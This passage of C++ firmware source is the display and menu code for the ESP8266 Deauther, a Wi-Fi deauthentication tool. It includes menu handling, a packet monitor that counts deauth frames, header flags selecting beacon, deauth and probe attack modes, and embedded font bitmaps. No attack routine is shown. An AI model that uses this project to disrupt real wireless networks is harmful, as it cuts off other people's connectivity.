tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp;
drawString(0, (i - row) * 12, tmp);
}
}
void DisplayUI::drawLoadingScan() {
// ===== adjustable ===== //
if (scan.isScanning()) {
if(scan.isSniffing()){ // Scanning for Stations
display.drawString(2, 0, buildString(str(D_LOADING_SCREEN_0), (String)scan.getPercentage() + PERCENT, CHARS_PER_LINE));
display.drawProgressBar(5, 22, 118, 8, scan.getPercentage());
display.drawString(2, 36, str(D_LOADING_SCREEN_1) + (String)accesspoints.count());
display.drawString(2, 50, str(D_LOADING_SCREEN_2) + (String)stations.count());
}else{ // Scanning for APs
display.drawString(2, 10, str(D_LOADING_SCREEN_3));
display.drawString(2, 24, str(D_LOADING_SCREEN_4));
}
} else {
mode = SCREEN_MODE_MENU;
changeMenu(&showMenu);
}
// ====================== //
}
void DisplayUI::drawPacketMonitor() {
// ===== adjustable ===== //
double scale = scan.getScaleFactor(50);
display.drawString(0, 0, str(D_CH) + String(wifi_channel));
display.drawString(40, 0, str(D_PKTS) + String(scan.getPacketRate()));
display.setTextAlignment(TEXT_ALIGN_RIGHT);
display.drawString(128, 0, String(scan.deauths));
display.setTextAlignment(TEXT_ALIGN_LEFT);
if (scan.getMaxPacket() > 0) {
for (int i = 0; i < SCAN_PACKET_LIST_SIZE * 2; i += 2) {
display.drawLine(i, 64, i, 64 - scan.getPackets(i / 2)*scale);
display.drawLine(i + 1, 64, i + 1, 64 - scan.getPackets(i / 2)*scale);
}
}
// ====================== //
}
void DisplayUI::drawIntro(){
// ===== adjustable ===== //
display.setTextAlignment(TEXT_ALIGN_CENTER);
display.drawString(64, 6, String(F("ESP8266 Deauther")));
display.drawString(64, 20, String(F("by @Spacehuhn")));
display.drawString(64, 34, String(F("")));
display.drawString(64, 48, settings.getVersion());
// ====================== //
}
bool DisplayUI::updateButton(Button* button) {
// direct exit when button is disabled or has no read function
if (!button->enabled || !button->read) return false;
// read pin
if(button->read()){
if(button->push) button->push();
}else{
if(button->release) button->release();
}
return button->pushed;
}
void DisplayUI::clearMenu(Menu* menu) {
while (menu->list->size() > 0) {
menu->list->remove(0);
}
}
void DisplayUI::changeMenu(Menu* menu) {
if (menu) {
if (currentMenu) clearMenu(currentMenu);
currentMenu = menu;
currentMenu->selected = 0;
buttonA.time = currentTime;
if (currentMenu->parentMenu) {
addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK]
currentMenu->selected = 1;
}
if (currentMenu->build) currentMenu->build();
}
}
void DisplayUI::goBack() {
if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu);
}
void DisplayUI::createMenu(Menu* menu, Menu* parent, std::function<void()> build) {
menu->list = new LinkedList<MenuNode>;
menu->parentMenu = parent;
menu->selected = 0;
menu->build = build;
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()> getStr, std::function<void()> click, std::function<void()> hold) {
menu->list->add(MenuNode{getStr, click, hold});
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()> getStr, std::function<void()> click) {
addMenuNode(menu, getStr, click, NULL);
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()> getStr, Menu* next) {
addMenuNode(menu, getStr, [this, next]() {
changeMenu(next);
});
}
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::function<void()> click) {
addMenuNode(menu, [ptr]() {
return str(ptr);
}, click);
}
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) {
addMenuNode(menu, [ptr]() {
return str(ptr);
}, next);
}

View File

@ -0,0 +1,617 @@
#ifndef DisplayUI_h
#define DisplayUI_h
#include "Arduino.h"
#include "LinkedList.h"
#include <ESP8266WiFi.h>
#include <FS.h>
#include "language.h"
#include "Settings.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "A_config.h"
extern "C" {
#include "user_interface.h"
}
extern Settings settings;
extern Names names;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern Attack attack;
extern uint32_t currentTime;
extern String buildString(String left, String right, int maxLen);
extern String replaceUtf8(String str, String r);
// different display modes
#define SCREEN_MODE_OFF 0
#define SCREEN_MODE_BUTTON_TEST 1
#define SCREEN_MODE_MENU 2
#define SCREEN_MODE_LOADSCAN 3
#define SCREEN_MODE_PACKETMONITOR 4
#define SCREEN_MODE_INTRO 5
// ===== adjustable ===== //
#define BUTTON_DELAY 280 // in ms
#define DRAW_INTERVAL 100 // 100ms = 10 FPS
#define CHARS_PER_LINE 17
#define SCROLL_SPEED 5
#define SCREEN_INTRO_TIME 3000
// ====================== //
struct Menu;
struct MenuNode;
struct Button;
struct Button {
bool enabled; // use button
uint8_t gpio; // pin that is used
bool pushed; // currently pushed
bool hold; // if button was hold (only used for buttonA at the moment)
uint32_t time; // last time it was pushed
std::function<bool()> read; // function to return if button is pushed
std::function<void()> setup; // function to enable/setup the button, if needed
std::function<void()> push; // function that is executed when button is pushed
std::function<void()> release; // function that is executed when button is released
};
struct Menu {
LinkedList<MenuNode>* list;
Menu* parentMenu;
uint8_t selected;
std::function<void()> build; // function that is executed when button is clicked
};
struct MenuNode {
std::function<String()> getStr; // function used to create the displayed string
std::function<void()> click; // function that is executed when node is clicked
std::function<void()> hold; // function that is executed when node is pressed for > 800ms
};
class DisplayUI {
public:
DisplayUI();
void setup();
void update();
void on();
void off();
uint8_t mode = SCREEN_MODE_MENU;
private:
DEAUTHER_DISPLAY // see config.h
void setupDisplay();
void setupButtons();
uint16_t selectedID = 0; // i.e. access point ID to draw the apMenu
uint16_t scrollCounter = 0; // for horizontal scrolling
uint32_t drawTime = 0; // last time a frame was drawn
uint32_t startTime = 0; // when the screen was enabled
bool enabled = false; // display enabled
// create buttons with default values
Button buttonUp = {false, 0, false, false, 0, NULL, NULL, NULL};
Button buttonDown = {false, 0, false, false, 0, NULL, NULL, NULL};
Button buttonLeft = {false, 0, false, false, 0, NULL, NULL, NULL};
Button buttonRight = {false, 0, false, false, 0, NULL, NULL, NULL};
Button buttonA = {false, 0, false, false, 0, NULL, NULL, NULL};
Button buttonB = {false, 0, false, false, 0, NULL, NULL, NULL};
// selected attack modes
bool beaconSelected = false;
bool deauthSelected = false;
bool probeSelected = false;
// functions for buttons
bool updateButton(Button* button); // read and update
// draw functions
void draw();
void drawString(int x, int y, String str);
void drawButtonTest();
void drawMenu();
void drawLoadingScan();
void drawPacketMonitor();
void drawIntro();
void clearMenu(Menu* menu);
// menu functions
void changeMenu(Menu* menu);
void goBack();
void createMenu(Menu* menu, Menu* parent, std::function<void()> build);
void addMenuNode(Menu* menu, std::function<String()> getStr, std::function<void()> click, std::function<void()> hold);
void addMenuNode(Menu* menu, std::function<String()> getStr, std::function<void()> click);
void addMenuNode(Menu* menu, std::function<String()> getStr, Menu* next);
void addMenuNode(Menu* menu, const char* ptr, std::function<void()> click);
void addMenuNode(Menu* menu, const char* ptr, Menu* next);
// menus
Menu* currentMenu;
Menu mainMenu;
Menu scanMenu;
Menu showMenu;
Menu attackMenu;
Menu apListMenu;
Menu stationListMenu;
Menu nameListMenu;
Menu ssidListMenu;
Menu apMenu;
Menu stationMenu;
Menu nameMenu;
Menu ssidMenu;
};
// ===== FONT ===== //
// Created by http://oleddisplay.squix.ch/ Consider a donation
// In case of problems make sure that you are using the font file with the correct version!
const char DejaVu_Sans_Mono_12[] PROGMEM = {
0x07, // Width: 7
0x0F, // Height: 15
0x20, // First Char: 32
0xE0, // Numbers of Chars: 224
// Jump Table:
0xFF, 0xFF, 0x00, 0x07, // 32:65535
0x00, 0x00, 0x08, 0x07, // 33:0
0x00, 0x08, 0x09, 0x07, // 34:8
0x00, 0x11, 0x0D, 0x07, // 35:17
0x00, 0x1E, 0x0C, 0x07, // 36:30
0x00, 0x2A, 0x0E, 0x07, // 37:42
0x00, 0x38, 0x0E, 0x07, // 38:56
0x00, 0x46, 0x07, 0x07, // 39:70
0x00, 0x4D, 0x0C, 0x07, // 40:77
0x00, 0x59, 0x0A, 0x07, // 41:89
0x00, 0x63, 0x0B, 0x07, // 42:99
0x00, 0x6E, 0x0E, 0x07, // 43:110
0x00, 0x7C, 0x08, 0x07, // 44:124
0x00, 0x84, 0x0A, 0x07, // 45:132
0x00, 0x8E, 0x08, 0x07, // 46:142
0x00, 0x96, 0x0D, 0x07, // 47:150
0x00, 0xA3, 0x0E, 0x07, // 48:163
0x00, 0xB1, 0x0C, 0x07, // 49:177
0x00, 0xBD, 0x0E, 0x07, // 50:189
0x00, 0xCB, 0x0E, 0x07, // 51:203
0x00, 0xD9, 0x0E, 0x07, // 52:217
0x00, 0xE7, 0x0E, 0x07, // 53:231
0x00, 0xF5, 0x0E, 0x07, // 54:245
0x01, 0x03, 0x0D, 0x07, // 55:259
0x01, 0x10, 0x0E, 0x07, // 56:272
0x01, 0x1E, 0x0E, 0x07, // 57:286
0x01, 0x2C, 0x08, 0x07, // 58:300
0x01, 0x34, 0x08, 0x07, // 59:308
0x01, 0x3C, 0x0E, 0x07, // 60:316
0x01, 0x4A, 0x0E, 0x07, // 61:330
0x01, 0x58, 0x0E, 0x07, // 62:344
0x01, 0x66, 0x0D, 0x07, // 63:358
0x01, 0x73, 0x0E, 0x07, // 64:371
0x01, 0x81, 0x0E, 0x07, // 65:385
0x01, 0x8F, 0x0E, 0x07, // 66:399
0x01, 0x9D, 0x0E, 0x07, // 67:413
0x01, 0xAB, 0x0E, 0x07, // 68:427
0x01, 0xB9, 0x0E, 0x07, // 69:441
0x01, 0xC7, 0x0D, 0x07, // 70:455
0x01, 0xD4, 0x0E, 0x07, // 71:468
0x01, 0xE2, 0x0E, 0x07, // 72:482
0x01, 0xF0, 0x0C, 0x07, // 73:496
0x01, 0xFC, 0x0C, 0x07, // 74:508
0x02, 0x08, 0x0E, 0x07, // 75:520
0x02, 0x16, 0x0E, 0x07, // 76:534
0x02, 0x24, 0x0E, 0x07, // 77:548
0x02, 0x32, 0x0E, 0x07, // 78:562
0x02, 0x40, 0x0E, 0x07, // 79:576
0x02, 0x4E, 0x0D, 0x07, // 80:590
0x02, 0x5B, 0x0E, 0x07, // 81:603
0x02, 0x69, 0x0E, 0x07, // 82:617
0x02, 0x77, 0x0E, 0x07, // 83:631
0x02, 0x85, 0x0D, 0x07, // 84:645
0x02, 0x92, 0x0E, 0x07, // 85:658
0x02, 0xA0, 0x0D, 0x07, // 86:672
0x02, 0xAD, 0x0E, 0x07, // 87:685
0x02, 0xBB, 0x0E, 0x07, // 88:699
0x02, 0xC9, 0x0D, 0x07, // 89:713
0x02, 0xD6, 0x0E, 0x07, // 90:726
0x02, 0xE4, 0x0A, 0x07, // 91:740
0x02, 0xEE, 0x0E, 0x07, // 92:750
0x02, 0xFC, 0x08, 0x07, // 93:764
0x03, 0x04, 0x0B, 0x07, // 94:772
0x03, 0x0F, 0x0E, 0x07, // 95:783
0x03, 0x1D, 0x09, 0x07, // 96:797
0x03, 0x26, 0x0C, 0x07, // 97:806
0x03, 0x32, 0x0C, 0x07, // 98:818
0x03, 0x3E, 0x0C, 0x07, // 99:830
0x03, 0x4A, 0x0C, 0x07, // 100:842
0x03, 0x56, 0x0C, 0x07, // 101:854
0x03, 0x62, 0x0B, 0x07, // 102:866
0x03, 0x6D, 0x0C, 0x07, // 103:877
0x03, 0x79, 0x0C, 0x07, // 104:889
0x03, 0x85, 0x0C, 0x07, // 105:901
0x03, 0x91, 0x0A, 0x07, // 106:913
0x03, 0x9B, 0x0C, 0x07, // 107:923
0x03, 0xA7, 0x0C, 0x07, // 108:935
0x03, 0xB3, 0x0C, 0x07, // 109:947
0x03, 0xBF, 0x0C, 0x07, // 110:959
0x03, 0xCB, 0x0C, 0x07, // 111:971
0x03, 0xD7, 0x0C, 0x07, // 112:983
0x03, 0xE3, 0x0C, 0x07, // 113:995
0x03, 0xEF, 0x0D, 0x07, // 114:1007
0x03, 0xFC, 0x0C, 0x07, // 115:1020
0x04, 0x08, 0x0C, 0x07, // 116:1032
0x04, 0x14, 0x0C, 0x07, // 117:1044
0x04, 0x20, 0x0B, 0x07, // 118:1056
0x04, 0x2B, 0x0D, 0x07, // 119:1067
0x04, 0x38, 0x0C, 0x07, // 120:1080
0x04, 0x44, 0x0B, 0x07, // 121:1092
0x04, 0x4F, 0x0C, 0x07, // 122:1103
0x04, 0x5B, 0x0C, 0x07, // 123:1115
0x04, 0x67, 0x08, 0x07, // 124:1127
0x04, 0x6F, 0x0B, 0x07, // 125:1135
0x04, 0x7A, 0x0E, 0x07, // 126:1146
0x04, 0x88, 0x0E, 0x07, // 127:1160
0x04, 0x96, 0x0E, 0x07, // 128:1174
0x04, 0xA4, 0x0E, 0x07, // 129:1188
0x04, 0xB2, 0x0E, 0x07, // 130:1202
0x04, 0xC0, 0x0E, 0x07, // 131:1216
0x04, 0xCE, 0x0E, 0x07, // 132:1230
0x04, 0xDC, 0x0E, 0x07, // 133:1244
0x04, 0xEA, 0x0E, 0x07, // 134:1258
0x04, 0xF8, 0x0E, 0x07, // 135:1272
0x05, 0x06, 0x0E, 0x07, // 136:1286
0x05, 0x14, 0x0E, 0x07, // 137:1300
0x05, 0x22, 0x0E, 0x07, // 138:1314
0x05, 0x30, 0x0E, 0x07, // 139:1328
0x05, 0x3E, 0x0E, 0x07, // 140:1342
0x05, 0x4C, 0x0E, 0x07, // 141:1356
0x05, 0x5A, 0x0E, 0x07, // 142:1370
0x05, 0x68, 0x0E, 0x07, // 143:1384
0x05, 0x76, 0x0E, 0x07, // 144:1398
0x05, 0x84, 0x0E, 0x07, // 145:1412
0x05, 0x92, 0x0E, 0x07, // 146:1426
0x05, 0xA0, 0x0E, 0x07, // 147:1440
0x05, 0xAE, 0x0E, 0x07, // 148:1454
0x05, 0xBC, 0x0E, 0x07, // 149:1468
0x05, 0xCA, 0x0E, 0x07, // 150:1482
0x05, 0xD8, 0x0E, 0x07, // 151:1496
0x05, 0xE6, 0x0E, 0x07, // 152:1510
0x05, 0xF4, 0x0E, 0x07, // 153:1524
0x06, 0x02, 0x0E, 0x07, // 154:1538
0x06, 0x10, 0x0E, 0x07, // 155:1552
0x06, 0x1E, 0x0E, 0x07, // 156:1566
0x06, 0x2C, 0x0E, 0x07, // 157:1580
0x06, 0x3A, 0x0E, 0x07, // 158:1594
0x06, 0x48, 0x0E, 0x07, // 159:1608
0xFF, 0xFF, 0x00, 0x07, // 160:65535
0x06, 0x56, 0x08, 0x07, // 161:1622
0x06, 0x5E, 0x0C, 0x07, // 162:1630
0x06, 0x6A, 0x0C, 0x07, // 163:1642
0x06, 0x76, 0x0E, 0x07, // 164:1654
0x06, 0x84, 0x0D, 0x07, // 165:1668
0x06, 0x91, 0x08, 0x07, // 166:1681
0x06, 0x99, 0x0C, 0x07, // 167:1689
0x06, 0xA5, 0x09, 0x07, // 168:1701
0x06, 0xAE, 0x0E, 0x07, // 169:1710
0x06, 0xBC, 0x0A, 0x07, // 170:1724
0x06, 0xC6, 0x0E, 0x07, // 171:1734
0x06, 0xD4, 0x0E, 0x07, // 172:1748
0x06, 0xE2, 0x0A, 0x07, // 173:1762
0x06, 0xEC, 0x0E, 0x07, // 174:1772
0x06, 0xFA, 0x0B, 0x07, // 175:1786
0x07, 0x05, 0x0B, 0x07, // 176:1797
0x07, 0x10, 0x0E, 0x07, // 177:1808
0x07, 0x1E, 0x09, 0x07, // 178:1822
0x07, 0x27, 0x0B, 0x07, // 179:1831
0x07, 0x32, 0x09, 0x07, // 180:1842
0x07, 0x3B, 0x0E, 0x07, // 181:1851
0x07, 0x49, 0x0E, 0x07, // 182:1865
0x07, 0x57, 0x08, 0x07, // 183:1879
0x07, 0x5F, 0x0A, 0x07, // 184:1887
0x07, 0x69, 0x09, 0x07, // 185:1897
0x07, 0x72, 0x0A, 0x07, // 186:1906
0x07, 0x7C, 0x0E, 0x07, // 187:1916
0x07, 0x8A, 0x0E, 0x07, // 188:1930
0x07, 0x98, 0x0C, 0x07, // 189:1944
0x07, 0xA4, 0x0E, 0x07, // 190:1956
0x07, 0xB2, 0x0A, 0x07, // 191:1970
0x07, 0xBC, 0x0E, 0x07, // 192:1980
0x07, 0xCA, 0x0E, 0x07, // 193:1994
0x07, 0xD8, 0x0E, 0x07, // 194:2008
0x07, 0xE6, 0x0E, 0x07, // 195:2022
0x07, 0xF4, 0x0E, 0x07, // 196:2036
0x08, 0x02, 0x0E, 0x07, // 197:2050
0x08, 0x10, 0x0E, 0x07, // 198:2064
0x08, 0x1E, 0x0E, 0x07, // 199:2078
0x08, 0x2C, 0x0E, 0x07, // 200:2092
0x08, 0x3A, 0x0E, 0x07, // 201:2106
0x08, 0x48, 0x0E, 0x07, // 202:2120
0x08, 0x56, 0x0E, 0x07, // 203:2134
0x08, 0x64, 0x0C, 0x07, // 204:2148
0x08, 0x70, 0x0C, 0x07, // 205:2160
0x08, 0x7C, 0x0C, 0x07, // 206:2172
0x08, 0x88, 0x0C, 0x07, // 207:2184
0x08, 0x94, 0x0E, 0x07, // 208:2196
0x08, 0xA2, 0x0E, 0x07, // 209:2210
0x08, 0xB0, 0x0E, 0x07, // 210:2224
0x08, 0xBE, 0x0E, 0x07, // 211:2238
0x08, 0xCC, 0x0E, 0x07, // 212:2252
0x08, 0xDA, 0x0E, 0x07, // 213:2266
0x08, 0xE8, 0x0E, 0x07, // 214:2280
0x08, 0xF6, 0x0C, 0x07, // 215:2294
0x09, 0x02, 0x0E, 0x07, // 216:2306
0x09, 0x10, 0x0E, 0x07, // 217:2320
0x09, 0x1E, 0x0E, 0x07, // 218:2334
0x09, 0x2C, 0x0E, 0x07, // 219:2348
0x09, 0x3A, 0x0E, 0x07, // 220:2362
0x09, 0x48, 0x0D, 0x07, // 221:2376
0x09, 0x55, 0x0D, 0x07, // 222:2389
0x09, 0x62, 0x0C, 0x07, // 223:2402
0x09, 0x6E, 0x0C, 0x07, // 224:2414
0x09, 0x7A, 0x0C, 0x07, // 225:2426
0x09, 0x86, 0x0C, 0x07, // 226:2438
0x09, 0x92, 0x0C, 0x07, // 227:2450
0x09, 0x9E, 0x0C, 0x07, // 228:2462
0x09, 0xAA, 0x0C, 0x07, // 229:2474
0x09, 0xB6, 0x0C, 0x07, // 230:2486
0x09, 0xC2, 0x0C, 0x07, // 231:2498
0x09, 0xCE, 0x0C, 0x07, // 232:2510
0x09, 0xDA, 0x0C, 0x07, // 233:2522
0x09, 0xE6, 0x0C, 0x07, // 234:2534
0x09, 0xF2, 0x0C, 0x07, // 235:2546
0x09, 0xFE, 0x0C, 0x07, // 236:2558
0x0A, 0x0A, 0x0C, 0x07, // 237:2570
0x0A, 0x16, 0x0C, 0x07, // 238:2582
0x0A, 0x22, 0x0C, 0x07, // 239:2594
0x0A, 0x2E, 0x0C, 0x07, // 240:2606
0x0A, 0x3A, 0x0C, 0x07, // 241:2618
0x0A, 0x46, 0x0C, 0x07, // 242:2630
0x0A, 0x52, 0x0C, 0x07, // 243:2642
0x0A, 0x5E, 0x0C, 0x07, // 244:2654
0x0A, 0x6A, 0x0C, 0x07, // 245:2666
0x0A, 0x76, 0x0C, 0x07, // 246:2678
0x0A, 0x82, 0x0C, 0x07, // 247:2690
0x0A, 0x8E, 0x0C, 0x07, // 248:2702
0x0A, 0x9A, 0x0C, 0x07, // 249:2714
0x0A, 0xA6, 0x0C, 0x07, // 250:2726
0x0A, 0xB2, 0x0C, 0x07, // 251:2738
0x0A, 0xBE, 0x0C, 0x07, // 252:2750
0x0A, 0xCA, 0x0B, 0x07, // 253:2762
0x0A, 0xD5, 0x0C, 0x07, // 254:2773
0x0A, 0xE1, 0x0B, 0x07, // 255:2785
// Font Data:
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33
0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34
0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35
0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36
0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37
0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46
0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49
0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50
0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51
0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52
0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53
0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54
0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55
0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56
0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59
0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60
0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61
0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67
0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73
0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75
0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76
0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77
0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82
0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83
0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85
0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86
0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87
0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89
0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91
0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93
0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94
0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97
0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102
0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103
0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105
0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106
0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107
